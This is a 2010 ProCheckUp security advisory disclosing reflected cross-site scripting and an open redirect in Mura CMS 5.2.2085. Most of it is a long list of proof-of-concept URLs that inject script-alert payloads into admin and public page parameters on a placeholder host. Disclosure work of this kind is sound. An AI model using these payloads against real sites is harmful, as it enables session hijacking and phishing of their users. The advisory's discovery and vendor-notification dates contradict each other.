Multiple XSS and Cross Domain redirect within Mura CMS

Vulnerability found:

19 December 2010

Vendor informed:

20 April 2010

Severity level:

Medium

Credits:

Richard Brain of ProCheckUp Ltd (www.procheckup.com)

Description:

Mura is a Content Management System (CMS) that is based on the ColdFusion programming language.Procheckup has discovered that Various Mura programs are vulnerable to generic reflective Cross Site Scripting (XSS) attacks.

Note: Mura was tested on a fully patched Windows 2003 R2 SP2 and IIS 6, ColdFusion 8 and SQL 2005

were used as the application server and the backend database.

Mura Versions tested
5.2.2085

Proof of concept:

Proof of concept
The following demonstrate the XSS flaws:-

1) Unathenticated vanilla XSS. IE7 (Internet Explorer) browser used.

Login page XSS
http://target-domain.foo/admin/index.cfm?email="><script>alert(1)</script>&fuseaction=cLogin.main&returnURL=1&status=sendlogin

Error page XSS
http://target-domain.foo/default/error/index.cfm?error.diagnostics="><script>alert(1)</script>

Other XSS
http://target-domain.foo/admin/date_picker/dsp_dp_showmonth.cfm?+5=posn+1&dateLong="><script>alert(1)</script>

http://target-domain.foo/admin/date_picker/index.cfm?field="><script>alert(1)</script>

http://target-domain.foo/Admin/index.cfm?fuseaction=cLogin.main&returnURL=&status=sendlogin&email=<script>alert(1)</script>

http://target-domain.foo/admin/view/layouts/compact.cfm?fusebox.ajax="><script>alert(1)</script>&

http://target-domain.foo/admin/view/layouts/template.cfm?fusebox.ajax="><script>alert(1)</script>&myfusebox.originalcircuit=cLogin

http://target-domain.foo/admin/view/layouts/template.cfm?moduleTitle=</title><body><script>alert(1)</script>

http://target-domain.foo/admin/view/vAdvertising/dsp_editCreative.cfm?attributes.siteid="><script>alert(1)</script>

http://target-domain.foo/admin/view/vAdvertising/dsp_editIPWhiteList.cfm?attributes.siteid="><script>alert(1)</script>&

http://target-domain.foo/admin/view/vAdvertising/dsp_editPlacement.cfm?session.dateKey=<script>alert(1)</script>

http://target-domain.foo/admin/view/vAdvertising/dsp_listAdZones.cfm?attributes.keywords="><script>alert(1)</script>

http://target-domain.foo/admin/view/vAdvertising/dsp_listAdvertisers.cfm?attributes.keywords="><script>alert(1)</script>

http://target-domain.foo/admin/view/vAdvertising/dsp_listCampaigns.cfm?attributes.keywords="><script>alert(1)</script>

http://target-domain.foo/admin/view/vAdvertising/dsp_listCreatives.cfm?attributes.keywords="><script>alert(1)</script>

http://target-domain.foo/admin/view/vAdvertising/dsp_viewReportByCampaign.cfm?session.dateKey=<script>alert(1)</script>

http://target-domain.foo/admin/view/vAdvertising/dsp_viewReportByPlacement.cfm?session.dateKey=<script>alert(1)</script>

http://target-domain.foo/admin/view/vArchitecture/form/dsp_tab_related_content.cfm?attributes.siteid="><script>alert(1)</script>&session.rb=default

http://target-domain.foo/admin/view/vDashboard/dsp_sessionSearch.cfm?session.dateKey=<script>alert(1)</script>

http://target-domain.foo/admin/view/vDashboard/dsp_topContent.cfm?session.dateKey=<script>alert(1)</script>

http://target-domain.foo/admin/view/vDashboard/dsp_topRated.cfm?session.dateKey=application.contentManager.getCrumbListrsList.contentid,<script>alert(1)</script>

http://target-domain.foo/admin/view/vDashboard/dsp_topReferers.cfm?session.dateKey=application.contentManager.getCrumbListrsList.contentid,<script>alert(1)</script>

http://target-domain.foo/admin/view/vDashboard/dsp_topSearches.cfm?session.dateKey=application.contentManager.getCrumbListrsList.contentid,<script>alert(1)</script>

http://target-domain.foo/admin/view/vEmail_Broadcaster/dsp_form.cfm?session.dateKey=<script>alert(1)
</script>

http://target-domain.foo/admin/view/vEmail_Broadcaster/dsp_list.cfm?session.dateKey=<script>alert(1)
</script>

http://target-domain.foo/admin/view/vExtend/dsp_attribute_form.cfm?attributes.formName=TextBox,TextArea,HTMLEditor,SelectBox,MultiSelectBox,RadioGroup,File,Hidden/"><script>alert(1)
</script>&attributes.action=TextBox,TextArea,HTMLEditor,SelectBox,MultiSelectBox,RadioGroup,File,Hi
dden

http://target-domain.foo/admin/view/vExtend/dsp_editAttributes.cfm?attributes.extendSetID="><script>alert(1)</script>&attributes.subTypeID=extendSetssattributes.siteid=attributesArraya

http://target-domain.foo/admin/view/vExtend/dsp_listSets.cfm?attributes.siteid="><script>alert(1)</script>&attributes.subTypeID=extendSetss

http://target-domain.foo/admin/view/vExtend/dsp_listSubTypes.cfm?attributes.siteid="><script>alert(1)</script>

http://target-domain.foo/admin/view/vFeed/ajax/dsp_loadSite_old.cfm?attributes.siteid="><script>alert(1)</script>

http://target-domain.foo/admin/view/vFeed/dsp_list.cfm?attributes.siteid="><script>alert(1)</script>

http://target-domain.foo/admin/view/vMailingList/dsp_form.cfm?attributes.mlid=1&attributes.siteid="><script>alert(1)</script>

http://target-domain.foo/admin/view/vMailingList/dsp_list_members.cfm?attributes.siteid="><script>alert(1)
</script>

http://target-domain.foo/admin/view/vPrivateUsers/dsp_group.cfm?session.dateKey=<script>alert(1)</script>

http://target-domain.foo/admin/view/vPrivateUsers/dsp_secondary_menu.cfm?attributes.siteid="><script>alert(1)</script>

http://target-domain.foo/admin/view/vPrivateUsers/dsp_user.cfm?session.dateKey=<script>alert(1)</script>

http://target-domain.foo/admin/view/vPrivateUsers/dsp_userprofile.cfm?session.dateKey=<script>alert(1)</script>

http://target-domain.foo/admin/view/vPublicUsers/dsp_group.cfm?session.dateKey=<script>alert(1)</script>

http://target-domain.foo/admin/view/vPublicUsers/dsp_user.cfm?session.dateKey=<script>alert(1)</script>

http://target-domain.foo/admin/view/vSettings/dsp_plugin_form.cfm?session.dateKey=<script>alert(1)</script>

http://target-domain.foo/default/includes/display_objects/calendar/dsp_dp_showmonth.cfm?dateLong="><script>alert(1)</script>

The following are included within Mura, though are issues within the popular fusebox 5.5 library

http://target-domain.foo/default/includes/display_objects/custom/fuseboxtemplates/noxml/view/layout/lay_template.cfm?body="><script>alert(1)</script>

http://target-domain.foo/default/includes/display_objects/custom/fuseboxtemplates/xml/view/display/dsp_hello.cfm?runTime="><script>alert(1)</script>

http://target-domain.foo/default/includes/display_objects/custom/fuseboxtemplates/xml/view/layout/lay_template.cfm?body="><script>alert(1)</script>

http://target-domain.foo/default/includes/email/inc_email.cfm?bodyHtml=<script>alert(1)</script>&forward=1&rsEmail.site=pcutest@procheckup.com&

http://target-domain.foo/default/includes/email/inc_email.cfm?rsEmail.site=</title><body><script>alert(1)</script>

http://target-domain.foo/default/includes/themes/merced/templates/inc/header.cfm?request.siteid="><script>alert(1)</script>

http://target-domain.foo/default/includes/themes/merced/templates/inc/ie_conditional_includes.cfm?event.getSite.getAssetPath=1&themePath="><script>alert(1)</script>

http://target-domain.foo/default/utilities/sendtofriend.cfm?request.siteID=Default&url.link="><script>alert(1)</script>http://www.procheckup.com

Address field is vulnerable to XSS insert ><script>alert(1)</script> into address field.
http://target-domain.foo/requirements/mura/geoCoding/index.cfm?

http://target-domain.foo/wysiwyg/editor/plugins/selectlink/fck_selectlink.cfm?fuseaction=cArch.search&keywords="><script>alert(1)</script>&session.siteid=default



2) Offsite redirection after login

http://target-domain.foo/admin/index.cfm?fuseaction=cLogin.main&display=login&status=failed&rememberMe=1&contentid=&LinkServID=&returnURL=http://www.procheckup.comHow to fix:An attacker may be able to cause execution of malicious scripting code in the browser of a user who clicks on a link to a exposed Mura site. Such code would run within the security context of the target domain. This type of attack can result in non-persistent defacement of the target site, or the redirection of confidential information (i.e.: session IDs) to unauthorised third parties.

Fix:
Apply the latest patches

Legal:Copyright 2010 Procheckup Ltd. All rights reserved.

Permission is granted for copying and circulating this Bulletin to the Internet community for the purpose of alerting them to problems, if and only if, the Bulletin is not edited or changed in any way, is attributed to Procheckup, and provided such reproduction and/or distribution is performed for non-commercial purposes.

Any other use of this information is prohibited. Procheckup is not liable for any misuse of this information by any third party.